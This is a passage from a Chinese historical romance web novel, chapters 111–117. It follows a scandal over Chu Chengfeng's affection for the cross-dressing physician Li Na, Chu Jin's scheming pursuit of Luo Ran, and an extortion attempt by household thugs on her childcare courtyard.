“你别急,此事我已然听说,此次而来也正是为了此事,我这就带你去见他,跟我来……” 罗苒慌忙点头,快步抬脚跟上。 时隔两年,她再次踏入这座曾经居住过的楚府,往日的回忆翻涌而来,可此刻她无暇顾及,满心满眼只想着黎娜,紧紧跟在楚烬身后,直奔二房庭院而去。 尚未走进院内,一阵阵凄厉的惨叫声与鞭子抽打皮肉的声响便清晰传来。 罗苒心头一沉,只当是黎娜正在受刑,愈发焦急。 快步进院,只见楚乘风正被人按着打鞭子,黎娜反倒相安无事地站在一旁。 二太太崔氏用锦帕捂着脸,压抑不住地呜呜痛哭,往日端庄严厉的模样荡然无存。 第一卷 第111章 我亲眼看着你们二人… 一旁已经出嫁的楚晓晴正轻声宽慰着她。 “家门不幸啊,真是家门不幸!” 崔氏崩溃失声,伸手指着被鞭打的楚乘风,声泪俱下, “你这个畜生!前些时日你执意遣散所有妾室通房,我还以为你终于收了心性,浪子回头,原来竟是看上了这么一个男人!” 楚乘风被鞭子抽得痛呼连连,脊背血肉模糊,却依旧嘴硬,梗着脖子回道, “我便是收了心,往后此生,我只要阿黎一人!” “给我打!狠狠打!打到他说不出这般混账话为止!” 崔氏气得浑身发抖,指尖狠狠指向楚乘风,厉声下令。 就在这时,楚烬开口出声喝止,语气沉稳, “二婶,有什么事不妨好好说,何必这般动怒用刑。这鞭子下手没轻没重,一时冲动伤了根本,日后再后悔,可就来不及了。” 崔氏见楚烬到来,泣道, “烬儿,你二弟他是彻底疯魔了!他竟然看上了这么个穷酸药堂的男大夫,我还听闻,这人在外还有妻子孩子!” 说话间,她目光无意间扫到楚烬身侧的罗苒,瞳孔骤然一缩,满脸惊愕,失声喊道, “你……你不是衍哥儿从前院里的奶娘?你不是早就坠崖过世了吗?” 院中众人顿时齐齐看向罗苒。 楚府旧人皆以为她两年前早已葬身崖底,此刻见她活生生站在眼前,无一不面露诧异。 罗苒定了定神,从容躬身回话, “回二太太,我并未离世,当年带着两个孩子侥幸活了下来。” 她顿了顿,语气坦然补充, “我也正是这位段离大夫的妻子。” 这话一出,满院哗然。 崔氏满脸震惊,一旁的楚晓晴更是觉得荒唐至极,声音不由得尖锐起来, “你说你两年前没死,带着孩子改嫁,结果你如今的夫君,竟和我二哥勾搭在了一起?” 罗苒心底清楚知晓黎娜与楚乘风的关系,可如今黎娜一直以男子身份示人,此事一旦认成事实,他日传扬出去,必将惹尽非议。 她连忙出声辩解,“二爷与阿离乃是旧识,二人向来意气相投,想来只是一场天大的误会。” 说罢,她连忙朝黎娜递去一个急切的眼色,低声催促,“夫君,你快同二太太解释清楚。” 黎娜看懂了罗苒的用意,只能硬着头皮开口, “是误会,是二太太方才进屋之时,看错了……” “我还不至于老眼昏花!” 崔氏怒不可遏,狠狠瞪了黎娜一眼, “我亲眼看着你们二人……你们二人……” 黎娜被逼得无奈,只能牵强找补, “若我说,方才是我脚滑不慎摔倒,恰巧撞在了楚二爷唇上,您可信?” “你真当我是愚笨傻子?” 崔氏怒极,最恨旁人将自己当作糊涂可欺之人,当即扬声喝令, “来人,将这个不知廉耻的贱人拿下!” 崔氏狠狠瞪着面前的黎娜,眼底满是被折辱的戾气, “我们家乘风,十四岁便有通房,十五岁纳妾,行事向来端正体面,定然是你蓄意勾引刻意蛊惑!” 罗苒见状心头大急,彻底顾不上尊卑规矩,慌忙开口阻拦, “二太太息怒,阿黎断然不是那样的人!” 崔氏狠狠冷眼剜她一眼,“你还敢替他求情?” 她心思一转,似又想到什么,脸色愈发阴沉, “我现下到是琢磨明白了,你们夫妻俩怕不是早就算计妥当,联手糊弄众人,轮番勾引我们家乘风!” “亏我先前还因晓婷的事对你改观,暗中帮过你,你竟是这般回报我的?” 眼见崔氏要牵扯上罗苒,楚烬浓眉微皱,适时开口解围, “二婶,此事与苒娘无关,她也是被蒙在鼓里的受害者。” 一旁被下人搀扶起身的楚乘风,疼得龇牙咧嘴,却依旧护人心切,扯着嗓子道, “是我主动勾引的阿黎,她品行端正,性,性取向正常,皆是我仗着侯府权势步步逼迫,强行纠缠于她,母亲要怪罪,便只管怪我!” 崔氏听闻此话,只觉颜面尽碎,一口气堵在胸口,脸色青白交加,险些气厥过去。 楚晓婷连忙上前替她抚胸顺气,柔声安抚, “母亲,您先消消气,切勿动怒伤了身子,二哥只是年轻气盛一时糊涂,好好规劝,定然能回头醒悟。” 可楚乘风依旧梗着脖子,字字执拗, “我不会回头,更不会放手,阿黎便是我的性命,我这辈子,非她不娶!” 崔氏半生好强最重体面,如今自家嫡子闹出这般荒唐丑闻,只觉半生脸面尽数丢尽,崩溃落泪, “乱了,全乱套了!” 罗苒看着崔氏恼怒崩溃的样子,想着实在不行干脆揭穿黎娜的女子身份,也好过让此事落得难以收场的下场强。 正当她思虑万千之际,院外忽然传来动静,三太太钟氏与刘翠兰联袂而来。 迈进远门的钟氏看着院中狼藉混乱的景象,故作满脸诧异, “二嫂这是怎么了,何事如此动怒,竟动用了府中家法?” 刘翠兰也连忙附和,“是啊二婶,有事大可好好商量,千万莫要气坏了自己的身子。” 自打楚烬搬离侯府自立新府后,一直无视刘翠兰母子。 她数次厚着脸皮带孩子登门侯府,皆被尽数赶返,如今依旧尴尬寄居楚府, 平日里与三房来往密切,暗自抱团,处处暗中试图压过二房。 今日听闻二房出了事,分明是幸灾乐祸来看好戏的架势。 崔氏看到这不速之客,一眼便看穿二人不怀好意。 当即强忍怒火,收敛了崩溃的情绪,端起二太太的威严身段。 刘翠兰见楚烬也在,自然不能放过这个接近他的机会,下意识便要往他身边凑,却在扫到他身边之人时,瞬间变了脸色。 “你……你是罗苒?” 她抬手指着罗苒,声音尖锐刺耳, “你怎还活着?你不是早就死在崖底了吗?” 听闻刘翠兰说道这般直白,楚烬眉眼骤然覆上一层寒霜,语气冷冽, “她自然安然无恙,好好活着。” 第一卷 第112章 这般嘴臭的蛤蟆怎也出来乱蹦跶? 刘翠兰因楚烬冷冽的话愣了一瞬,随后似是联想到什么,气急败坏的冲着罗苒骂道, “原来你没死,你这贱妇!你定然是故意的想用以退为进的卑劣手段,继续勾引阿烬!你……” “闭嘴!” 未等刘翠兰讲话说完,楚烬便冷声喝止。 “嘴巴干净点。” 楚烬眼神森冷,周身威压沉沉压下,硬生生将刘翠兰尖锐刻薄的话语堵在喉间。 短短四字,没有半分波澜,却威慑力十足。 院内所有人瞬间噤若寒蝉,连刘翠兰都下意识心头一怵,气焰当场矮了半截。 黎娜本就护短,最听不得身边人受人半句辱骂。 她冷冷斜睨了刘翠兰一眼,语气满是讥讽, “这般嘴臭的蛤蟆怎也出来乱蹦跶?” 说着又扫向一旁被人架着,满背伤痛连站都难以站稳的楚乘风,言语毫不留情,“你们楚家这深宅大院里,果然尽是些不堪之人。” “你竟敢这般出言放肆!” 刘翠兰瞬间气得面色铁青,她久居侯府高门,平日里往来皆是知礼守仪的世家权贵,素来听惯了温文言辞,哪里受过这般直白凌厉的数落,一时间又气又恼。 直到此刻,她与钟氏才真正留意到气度不凡的黎娜。 一旁钟氏满心疑惑,不由询问,“不知是哪家的公子?” 黎娜坦然开口,“我是阿苒的夫君。” “夫君?” 刘翠兰满脸惊愕,怔怔看向罗苒,满眼都是难以置信, “你竟然成婚了?” 一旁的钟氏更是一头雾水,看着院中这般剑拔弩张又古怪难言的场面,满心疑惑好奇。 转头望向脸色铁青的崔氏,看似关切的询问道, “二婶,这到底是发生了何事?” 崔氏素来最忌旁人看二房笑话,方才失态崩溃已是她最大的底线。 如今三房与刘翠兰摆明了是赶来落井下石。 她深吸一口气,强行压下翻涌的怒火与屈辱,迅速端起二太太端庄矜贵的架子,冷冷瞥向刘翠兰, “一些小事,就不劳弟妹费心看戏了。” 一句话,直接点破二人幸灾乐祸的心思,堵得她们脸色一阵青一阵白。 钟氏压下心中尴尬,连忙故作圆场,柔声笑道, “二嫂说笑了,我们只是听闻院内动静过大,放心不下,特意过来探望,绝无旁的心思。” 嘴上说得温和,眼底的看热闹之意却半点未曾遮掩。 崔氏懒得与她们虚与委蛇,可这二人摆明了存心逗留打探。 一时之间她竟也寻不出合适的说辞将人打发走,正暗自思忖对策。 楚烬已然从容上前,神色淡然自若,主动开口接过了话头。 “不过是二弟仗势欺人,冒犯了这对夫妻,被他们找上门来,二婶正在依家规惩戒于他。” 短短一句话,轻描淡写,便将一桩骇人丑闻,硬生生改成了寻常小辈寻衅滋事的小事。 崔氏心思通透瞬间领会楚烬用意。 三房多年无子嗣,钟氏心底本就常年嫉妒二房儿女双全家世安稳。 若是让她知晓乘风竟有这般断袖癖好,定会大肆宣扬,极尽抹黑,彻底踩低二房颜面。 绝不能给她们半点可乘之机。 钟氏与刘翠兰眼底依旧藏着深深疑虑,对视一眼,纷纷开口, “只是这样?不过是小辈争执,怎会闹出这般大的动静?还动了家法……” 崔氏开口,带着不容质疑的威严, “怎么?莫非你们连阿烬的话都不信?” 钟氏连忙收敛神色,笑着圆场,“自然不是,二嫂多虑了。” 她目光却若有似无地在罗苒与黎娜之间来回打量,语气意味深长, “只是实在出人意料,两年前早已坠崖离世的人,竟活生生回来了,还带着夫君一同登门,实在蹊跷。” 说着,她视线有意无意落向楚烬的脸庞,心底不知暗自揣测盘算着什么。 楚烬神色冷然,适时出声收尾, “二婶,乘风已然受过鞭刑责罚,此事便就此揭过吧。” 他顿了顿,语气微微加重,字字郑重, “您放心,往后我定会严加看管二弟,绝不会让他再在外肆意妄为,惹是生非。” 崔氏纵然心底怒气难平,却也深知利弊。 为了二房颜面,为了乘风的前程,她只能压下所有愤懑,冷声道, “既然你都这般说了,此事便作罢。” 话音落下,她转头看向罗苒与黎娜,眼神冷厉,带着十足的警告, “今日之事,我暂且退让。但你们二人记住,往后若再敢出现在我与乘风面前,休怪我无情!” 风波落幕,楚烬趁人散之后匆匆安抚了崔氏几句便径直赶往罗苒的居所。 他心底早已暗自盘算万千。 在他看来,罗苒素来心性干净眼里容不得半分杂质,最是痛恨背叛与欺瞒。 当年只因自己骗过她,又不敢正视心意无意间伤害轻慢了她,她便毅然决然地带着孩子假死逃离。 如今她亲眼目睹夫君与人纠缠暧昧,遭遇婚内背叛,定然心碎欲绝。 楚烬笃定,以她的性子,绝不可能忍下此事。 自己只要静静守在门前等候,想必没过多久就会看到她红着眼神情破碎,如同受惊小兔子一般狼狈奔逃出门。 只要在这个时候迎上去,温柔安抚耐心陪伴,循序渐进,定能彻底走进她心底,抚平她的伤痕。 他的盘算周密稳妥。 可一日、两日、三日过去,蒙院始终风平浪静,丝毫不见半分预想中杂乱吵闹的景象。 几日下来,楚烬终究按捺不住,主动登门寻罗苒。 彼时夏暖风和,罗苒身着一袭浅绿衣裙,衣衫轻薄温婉,乌黑长发尽数挽起,仅用一支青玉簪固定,素净清雅,愈发衬得她眉眼温柔气质娴静。 楚烬静静看着她,心底怜惜泛滥。 他的苒娘总是这般,素来隐忍坚韧,所有委屈苦楚尽数咽在心底。 如今她表面这般风轻云淡,想来这几夜为此伤心欲绝夜不能寐吧? 这般要强的模样,实在让人心疼不已。 可罗苒却全然没有楚烬这般复杂曲折的心思。 见他前来,她心底只有满心感激。 第一卷 第113章 你若不愿和离,想要休夫也无妨 她清楚记得那日楚府险境,崔氏素来溺爱楚乘风这个嫡子,护短至极,连他都挨了鞭子,她不敢想象若是没有楚烬顺势解围,黎娜会遭到怎样的对待。 其实她当时也想好了,若是崔氏实在介意执意要追究,那便揭露黎娜的女子身份…… 虽然她们假扮夫妻诓骗官府弄了假婚书是个麻烦事,但暂时护得她周全才重要。 万幸楚烬出手相助,三言两语便压下风波。 这几日蒙院安稳无事,想来崔氏也是碍于颜面不再追究。 罗苒心怀感念,主动上前颔首道谢, “那日在楚府,多谢侯爷出手解围。” “本该登门道谢,只是侯府门第尊贵,我一介平民,不便贸然造访,便耽搁至今,今日恰逢侯爷前来,罗苒在此谢过侯爷,多谢侯爷保全阿黎,免她受二太太责罚。” 楚烬望着她温顺低垂的眉眼,心底又软又涩。 心头万般感慨,到底是有多良善,才能在丈夫做出这般龌龊事后,还不忘了替他道谢? 转念间,他又不由思索。 她说侯府门第高她不便贸然造访,是不是被丈夫伤了心无依无靠的她,其实早就打算来府上找自己寻求帮助,只是担心进不去才没来? 果然,是他思虑不周,忽略了她的窘迫无助。 “不过是举手之劳,不足挂齿。” 楚烬开口,随即抬手解下腰间贴身佩戴的墨玉玉佩,递至她面前, “是我先前思虑不周,未能顾及你难处。这块玉佩是我的贴身信物,你且收好。日后若是有事寻我,持此玉佩,无论侯府或是军营,皆可畅通无阻,无人敢拦。” 罗苒看着那枚质地温润一看便知价值不菲的玉佩,有些不明白,好端端道谢,为何楚烬突然掏出玉佩送她。 连忙摆手婉拒, “侯爷万万不可,此玉佩太过贵重,罗苒不能收下。” 楚烬却不由分说,直接将玉佩塞进她掌心,指尖不经意触到她微凉的手心,心底微动。 看着罗苒的眼神顿时变得认真又笃定,主动开口宽慰, “你不必忧心和离之事,此事交由我便可,我定会替你做主,绝不会让这等背叛妻子品行不端之人继续纠缠于你。” 罗苒听楚烬这样说,顿时更摸不着头脑,满脸茫然。 愣愣抬眼看向眼前一脸郑重保证会帮她出头的男人。 和离? 她何时说过自己要和离了? 楚烬见她失神,又追问一句, “你若不愿和离,想要休夫也无妨。此人婚内背叛,有悖伦常,尽可作为休夫凭据,我自会帮你办妥。” 直到此刻,罗苒才彻底反应过来,楚烬竟是误会了什么,忙解释, “侯爷多虑了,我从未想过和离,亦不曾想过休夫。” 话已出口,她终于体会到何为一个谎言,需要无数个谎言来圆。 只能刻意避开楚烬探究的目光,微微垂眸,继续编造说辞, “阿黎已然与我认错,此事就此揭过……衍儿与小玥尚且年幼,我不想孩子们缺失安稳家庭,故而选择原谅……” 楚烬脸上温柔的神色瞬间尽数褪去,取而代之的是满眼的震惊与难以置信。 他定定看着被当场捉奸却依旧选择原谅的罗苒,满是不解质疑, “你说的是真心话?他这般背叛你,你竟丝毫芥蒂无存,轻易便原谅了?” “是……”罗苒不知怎的,竟觉得有些难以面对此时楚烬的眼神。 楚烬紧紧盯着面前的女人,似乎还是不敢相信。 他沉默了片刻,再次开口时声音低沉沙哑,带着难以掩饰的委屈不甘, “可你之前明明不是这样……那时我因蠢笨没有意识到自己的心意而欺瞒伤害了你,你便那般坚决地离开。” “你亲口与我说过,你所求良人,不图权势富贵,只求一心一意、真心待你、珍重于你之人。” “可如今,你的夫君心有旁人公然背叛,你却甘愿一再退让轻易原谅?” 罗苒无从解释其中隐情,只能牵强回道, “人总归是会变的。” 这话如同利刃,狠狠剜在楚烬心头。 “为何你能为他改变,为何你却对我那般决绝?” 楚烬哽了一下,声音更哑了几分, “苒娘,你怎能这般不公平……” 楚烬深深凝着她,脸上竟然有种破碎的神情,也不知怎的,罗苒便觉得面前男人眼神有些可怜。 罗苒心头竟不由乱了几分。 她不能告诉楚烬,黎娜本是女子,她们在一起就是为了引人耳目互相照应,而不是那种感情。 所以就算黎娜有其他人,自己也不会觉得怎样,反而作为朋友还会真心祝福。 而那所谓的婚内背叛断袖私情,从头到尾都是一场误会…… 第一卷 第114章 感情这种事,谁能说得清呢? 可她万万不能坦白这些真相。 她不敢保证这一切被揭开后,楚烬意识到自己被骗、被戏耍,会是怎样的反应。 如今这样安稳的生活,她很满意。 历经颠沛流离,尝尽世间冷暖,她早已不再奢望什么轰轰烈烈的真爱,也不再渴求有人能许她一世情深。 她所求的,不过是能安安稳稳守着衍儿和小玥,看着两个孩子平安长大便足够了。 直至今日,她依旧无法真正信任楚烬。 从前他的偏执强势,那些被他轻慢被他逼迫的过往,如同烙印一般刻在心底,挥之不去。 如今楚烬这般不动声色地试探和接触,她尚且能小心应付,勉强维持着表面的平和。 但若是这个男人知道了所有真相,他会不会被怒火冲昏头脑,将她这来之不易的安稳如数捏碎? 所以她不敢赌,也赌不起。 楚烬的目光还紧锁着她。 那目光中的神情是罗苒从未见过的破碎哀伤。 看得罗苒心慌意乱,生怕自己再待下去,便会原形毕露。 只匆匆垂眸开口,“侯爷若无他事,我还有琐事要忙,先行告辞。” 说罢,她不敢多留片刻,转身便匆匆离去。 罗苒感觉到楚烬似是伤心了。 那种向来强势的男人,从不知低头为何物的将军侯爷,在感情上难得一再妥协,如今满心热忱尽数落空,定然备受挫败。 或许经过今日一事,他便能彻底死心不再纠缠了吧。 这般想着,她心底却没有半分轻松,反倒萦绕着一丝说不清道不明的复杂滋味。 那日从寺庙送她归来,他郑重告白神情郑重坚定的模样,再度浮上心头。 她不得不承认那时的自己心跳确实乱了几分。 从前她一直以为,他的步步纠缠,不过是失而复得的偏执不甘。 却没想到他竟然说他早已经真心喜欢上了她,只是醒悟得太晚,也爱得太笨拙,才下意识地否定心意找尽借口…… 原来楚烬这样战场上冷酷无情的杀神,竟也会有真心心悦别人的时候。 只是这心悦和喜欢,又能维持多久呢? 他们本就是两个世界的人,强行搅在一起终究只会徒增烦恼,不如趁早各归其位,路归路桥归桥,各自安好。 这般结局,或许已是最好…… …… …… 楚府内,楚乘风正趴在榻上上药,背上的鞭伤触目惊心,疼得他龇牙咧嘴。 房门被猛地推开,楚烬风风火火地走了进来,脸色阴沉地吓人,不等下人开口请安,便挥了挥手将下人打发出去。 楚乘风咬着帕子,强忍着疼痛,抬眼看向楚烬,见他脸色不好,心头一紧,当即认定大哥是来劝自己和黎娜断了联系的。 他咬了咬牙,语气坚定地开口, “大哥,我是真心喜爱阿黎的,你就别劝我了,我心意已决,不管你怎么惩戒我,我都不会改变想法的。” 楚烬目光落在他满背的鞭伤上,又看向他即便疼得浑身发颤,却依旧执拗坚定的模样,沉默片刻,缓缓开口, “你可知他是男子?你可知你们这般行径,会被世人诟病,会遭受怎样的非议与唾骂?” 楚乘风怎能不知这些,黎娜本是女子,他们之间本不应该遭受这些。 但黎娜自来大興国后便一直坚持以男装示人,且轻易不会像别人透露她的女子身份,便继续咬紧牙关道, “我知道这些后果,可爱便爱了,真心爱一个人,又怎会介意他的身份地位,乃至性别?我爱的从不是男子,我只是爱阿黎这个人而已。” 楚乘风这番话,倒让楚烬有些意外。 他从未想过,以往那般轻浮薄情的二弟,竟也有这般通透的觉悟。 一时间,他竟生出几分感同身受, “确实如你所说,感情这种事,谁能说得清呢?” 楚乘风一听,瞬间来了精神,忘了背上的疼痛,连忙抬头, “大哥,你理解我?你不怪我?也不会阻拦我和阿黎在一起?” 楚烬淡淡瞥了他一眼,话里有话地刻意说道, “我只是觉得,你对他这般一往情深,可人家未必对你是真心。” “不可能!阿黎也是心仪我的!” 楚乘风当即急得要跳起来,不料牵扯到背上的鞭伤,疼得他嗷嗷直叫,连忙又趴回榻上,缓了缓才又急着辩解, “她昨晚还偷偷翻进院子来看我,给我带了她亲手做的药,还亲自给我上了药,她还夸我英勇有担当呢!” “被她那般夸奖,我便觉得这鞭伤这非议都值得了……” 第一卷 第115章 就算跪着求她,我也要跟她要一个名分 楚烬看着自家二弟被训成了听话痴心的小狗模样,眼底掠过一丝无奈,语气凉凉地戳破他, “既然她真心心仪你,为何迟迟不和离?可见在她心里,你还不是第一位。” “放屁!那是……” 楚乘风急着否认,紧急刹住话头,自知有些隐情不能乱说。 他看了一眼楚烬的脸色,顿了顿,才找了个借口, “那,那是阿黎心善,不忍心罗娘一个人带着两个孩子,怕她被人欺负,才暂且不和离的。” 楚烬挑眉,继续道, “那你便打算一直以这种不三不四的身份待在他身边?为爱做三,没名没分,你甘心?” 这话狠狠戳到了楚乘风的痛处。 他怎会甘心? 他比谁都想要一个名正言顺的身份,想要光明正大地守在黎娜身边。 但他又不是不知道那三个女人互相扶持的情谊。 黎娜坚持以男子身份示人定然是有她的理由,如今她户籍上也登记的是男子,根本无法轻易回归女子身份。 更何况,他也见识过黎娜的魅力,她就像草原上洒脱爽利的骏马。 女装时明媚动人,男装时俊秀潇洒,简直男女通吃。 除了他,还有罗苒这个“娘子”,还有那个千里迢迢同她一起私奔的姜采薇。 他迫切想要名正言顺地娶她回来,这样有了身份便能名正言顺地占着她。 楚烬将他脸上的纠结与不甘看在眼里,轻飘飘地抛出一句话, “不是没有先例,丞相府的大公子,心仪之人也是男子,他们前些时日刚在官府领了婚书,正式成了亲。” 楚乘风眼睛瞬间亮了,猛地抬头,语气急切, “大哥,这可是真的?” “自然是真的。” 楚烬语气笃定,又适时提点, “若是担心二叔二婶不同意,到时候你许诺他们,往后多纳几房妾室,好好传宗接代,他们想必也不会特别阻拦。” 楚乘风低头思索起来…… 黎娜定然不会愿意回归女子身份,若是两个男子也能名正言顺成婚,倒也可行。 到时候私下里偷偷告知父亲母亲黎娜的女子身份,想来他们也不会太过阻拦。 这般一想,他不由得喜上眉梢, “还是大哥想得周到!” “只是,”楚乘风刚高兴没多久,楚烬便又泼了一盆冷水, “你想的再多,若是他不肯和离,一切也都是空谈。” “我去劝!” 楚乘风瞬间燃起斗志,语气坚定, “我去磨阿黎,就算跪着求她,我也要跟她要一个名分,她总归是对我狠不下心的……” “至于罗娘,我们以后可以一同照顾她,认她做妹妹,她和孩子们的后半生,我都一并负责……” “苒娘和孩子,就不用你费心了。” 楚烬表情沉稳依旧,缓缓开口补充, “事成之后,我自会妥帖安置。” 话音落下,楚烬垂眸敛了神色。 脑海里不由自主浮现出罗苒拒绝他的模样,薄唇不由得抿成一条冷硬的直线。 以苒娘那般执拗通透的心性,定然以为自己这般明确的拒绝,足以让他知难而退。 可她终究是大错特错了。 战场之上,刀剑无眼生死难料,那般凶险绝境殊死厮杀,他都从未有过半分退缩与畏惧。 更何况如今只是这般不痛不痒的拒绝? 当然,他今日这般借楚乘风和段离之事周旋,手段算不上光明磊落,甚至有些卑劣…… 但只要能得偿所愿,只要结局是好的,过程如何是否不择手段,又有什么要紧? 他此生,满心满眼只有罗苒一人,自始至终,从未变过。 有些姻缘,本就是冥冥之中老天早已注定,一旦牵扯,便是纠缠一生,想逃,也逃不掉。 就像最初,罗苒不也一次次拒绝否定他,到最后,不也还是妥协甘愿了? 既然有第一次,便定然会有第二次。 这般想着,楚烬心中因罗苒连番拒绝而滋生的郁色与烦闷,渐渐消散了大半。 眼底重新覆上一层胸有成竹的笃定。 楚乘风看着自家大哥,心头忽然泛起一丝莫名的疑惑。 往日里,大哥向来刚正不阿行事严厉,对府中琐事向来不甚上心,今日却这般反常…… 不仅主动热络地帮他出谋划策,还全然不顾世俗眼光,全力支持他与阿黎的事。 怎么看,都不像是单纯为了帮他…… 第一卷 第116章 望妻石 罗苒出门买菜的空档,再回来时,家里就多了一个人。 楚乘风可怜兮兮地趴在黎娜的床上,脸色憔悴,一副奄奄一息的模样。 见罗苒进来,他有气无力地抬了抬眼,声音虚弱又带着几分委屈, “罗娘,实在是打扰了……只是我母亲因先前的事,把我彻底赶出了楚府,我身上的鞭伤还没痊愈,根本没法自己照顾自己……” “往日里玩得要好的酒友,见我失势,竟都避之不及,我实在无处可去,只能来投奔你们了……” 楚乘风与楚烬虽是表兄弟,长相却截然不同。 不同于楚烬的硬朗凌厉,他生得俊秀周正,身形精壮却皮肤白皙。 如今身上有伤,本就白皙的肌肤更显苍白,此时他趴在床上时,一双圆溜溜的眼睛像受了委屈的小狗,抬眼望着她们。 那如墨的长发仅用一支白玉簪随意挽着,几缕碎发垂在颊边,愈发显得脆弱可怜。 罗苒看着他这可怜见的副模样,怎还能有什么意见? 毕竟那日在楚府,楚乘风本可以揭穿黎娜的女子身份,那样便能免受鞭刑之苦。 可他却咬着牙,硬生生扛下了所有责罚,半字未吐,始终护着黎娜。 于情于理,她都没有理由将他赶走。 就这样,楚乘风便在蒙院暂住了下来。 罗苒本想收拾一间客房,让他安心养伤,可他却整日打着行动不便的旗号,不是喊着这里疼,便是说着那里不舒服,绞尽脑汁地想住进黎娜的房间。 黎娜被他磨得没了脾气,终究还是松了口,任由他去了。 自此,白日里黎娜出门去药堂坐诊,楚乘风便守在房间里养伤。 实在无聊了,他就搬个小板凳,坐在前院的大树下,陪着蒙院里的孩童们玩耍。 可孩子们玩闹起来没轻没重,动不动就会碰到他背后的伤口,疼得他龇牙咧嘴。 久而久之,他也不敢再跟孩子们疯闹,转而搬着小板凳坐在蒙院门口。 像块望妻石一般,眼巴巴地盼着黎娜早点归来。 可他万万没想到,这日没盼到早归的黎娜,却盼来了一行气势汹汹的人。 为首的是一个黑瘦男子,满脸凶相,身后跟着浩浩荡荡十几号人,一进门便将不大的蒙院堵得严严实实。 罗苒一眼便看出这些人来者不善,生怕他们吓到院里的孩子,连忙招呼两个帮衬的婶子,带着孩子们匆匆从侧门离开了。 孩子们和婶子走后,院中便只剩下罗苒一人。 而那个整日守在门口的“望妻石”楚乘风,此刻却不见踪影。 好在如今朝廷政法森严,鲜少发生恃强凌弱的事。 门口也围拢了不少围观的邻里,罗苒虽心慌,但还不至于乱了阵脚。 强迫自己镇定下来,对着为首的黑瘦男子道, “这位大哥,不知我们蒙院何处得罪了您,竟劳烦您这般兴师动众?” 不知为何,她看那黑瘦男人竟觉得有几分面熟,似乎之前在哪儿见过,一时却想不起来。 那黑瘦男子满脸不屑,一口浓痰狠狠吐在地上,语气粗鄙又凶狠, “前几日,你们这蒙院的饭,吃坏了我们家孩子的肚子!现在他还躺在床上,起都起不来,你们必须给我们一个说法!” 罗苒满脸茫然。 蒙院不大,平日里一共也就二十几个孩子,都是附近邻里送来照看的。 这些孩子们近几日并未有生病请假的。 她似是想起了什么…… 若是陌生孩子,那便是前日,有一个妇人说要暂居此处投奔亲戚,将一个小男孩托付在蒙院,托她们照看一日。 那日傍晚,妇人便将孩子接走了,之后便再没出现过。 她试探着开口问道, “大哥说的,可是前日那个叫小宝的孩子?” “正是!”那男子道,“那是我外甥,我姐来投奔我,将孩子放在你们这照看一日,回去后就病倒了,如今更是一病不起,定是你们这蒙院缺德,给孩子吃了不干不净的东西,才把他害成这样!” 罗苒连忙解释, “我们蒙院的菜肉都是每日清晨新鲜采购的,米面更是每三日便去城中最大的粮铺挑选购买,绝对不可能是食物的问题,还请大哥不要冤枉我们。” 男子冷哼一声,满脸讥讽, “真如你说的那般好,你这蒙院的托养费能这般便宜?这般低廉的价格,还要负责照看孩子,再加上你说的新鲜菜品,哪里可能有收益?分明是你在骗人,用些烂菜烂饭糊弄孩子!” “对,就是!” 他身后的一行人立马起哄附和, “就是你们这蒙院做缺德事,用烂菜烂肉给孩子们吃,才把我们家孩子害得一病不起!” “真是毒妇!对着这么小的孩子都能下得去手!” “可怜我们家那孩子,平日里养尊处优,竟因为吃了你们家一口饭,就弄得性命垂危!” 吆喝声很大,明显是故意要让门口围观的邻里听去。 门口围观的邻里顿时议论纷纷,看向罗苒的目光也多了几分疑惑探究。 罗苒心里清楚,这群人根本不是来讨说法的,找茬的意图再明显不过。 她强压下心底的惧意,依旧好声好气地试图与他们商议, “若是真的因为吃了我们蒙院的餐食出了问题,我自然不会推脱责任。小宝如今在哪?正好我夫君是大夫,我们一同上门赔礼,让我夫君给他诊治一番,也好查清病因。” 男子脸色一沉,厉声呵斥, “你这毒妇,还想让你家那个赤脚大夫夫君来给我们家孩子看病?怕是越看越严重,想害死我外甥不成?” 罗苒紧紧盯着那些人, “既然大哥不肯让我夫君诊治,那你们到底想如何?” “赔钱!” 黑瘦男子毫不犹豫地开口,身后的人也跟着齐声附和, “对,赔钱!” 罗苒深吸一口气,问道, “要赔多少?” “少说也要两千两!”黑瘦男子语气嚣张。 这个金额一出,外面围观的邻里都纷纷倒吸一口凉气。 两千两银子,足足能买下十座这样的小院,这群人简直是狮子大开口。 第一卷 第117章 你们竟然敢伤她? 罗苒只觉得脑子嗡嗡作响,两千两,就算她把蒙院砸锅卖铁,再加上这些年攒下的所有积蓄,也根本凑不出来。 她不敢置信地盯着面前黑瘦男子的脸,正想说什么,脑海中忽而想起了什么,脱口而出道, “你是楚府的下人?” 她果然见过这个人,没记错的话应该是楚府的下人,好像是叫张海。 “什么下人?” 身旁一个跟班立马厉声反驳, “海哥现在是楚府的大管事!你得罪了海哥这样的大人物,便是得罪了楚府,可得好好掂量掂量,你有几层皮可扒!” 张海见罗苒认出了自己,便也不再遮掩,抬着下巴,一脸嚣张, “不错,就是我。” 罗苒本就觉得此事蹊跷,如今得知他是楚府的人,心头的疑云更重了。 只是这张海,当年在楚府不过是个不起眼的普通下人,怎么短短两年时间,就成了管事? 莫非是二太太遣他来的? 可转念一想,又觉得不太对…… 二太太看重楚乘风的名誉,若是将事情闹大,传出去对二房终究不利,她应该不会这般鲁莽。 这般一想,嫌疑人便只剩下了刘翠兰。 她生性善妒,那日在楚府看到自己没死,即便知道自己成了亲,可看楚烬对自己的维护,定然也会心生嫉妒。 罗苒猜得确实没错,这张海正是刘翠兰的人。 这两年,三房老爷许是因为没有儿子,对刘翠兰的儿子刘崇格外亲近。 三太太钟氏也有意拉拢刘翠兰,因这种种三房与刘翠兰的关系愈发亲近。 刘翠兰仗着这些靠山,在楚府暗中为自己铺路,提携了不少自己人。 前段时间更是找了老管事的错处,将他手中的管事权分到了自己的心腹张海手中。 而这次张海带人来闹事,正是刘翠兰的指示,目的就是将罗苒彻底赶走,以绝后患。 罗苒心中已然明了他们的目的, “这蒙院根本挣不了多少银子,两千两,我实在拿不出来。” “既然您一口咬定是我害小宝生病,不如我们一同去县衙,找官家评评理……若是真的是我的责任,我绝不推脱,但也不能任由你们空口白牙随意敲诈。” 张海没想到,这个看起来娇弱温顺的女子,竟这般有骨气,还敢提去县衙。 他们本就是受人指使,故意来寻衅敲诈,哪里敢去见官? 他脸色一沉,恶狠狠地说道, “拿不出来是吧?既然拿不出来,就给我砸!砸到你肯拿出钱来为止!” 说罢,他递了个眼神给身后的人。 那群人立马蜂拥而上,见什么砸什么。 原本静雅整洁的大院瞬间被砸得狼藉一片。 门口围观的邻里们看不下去这恶霸行径,纷纷出声指责, 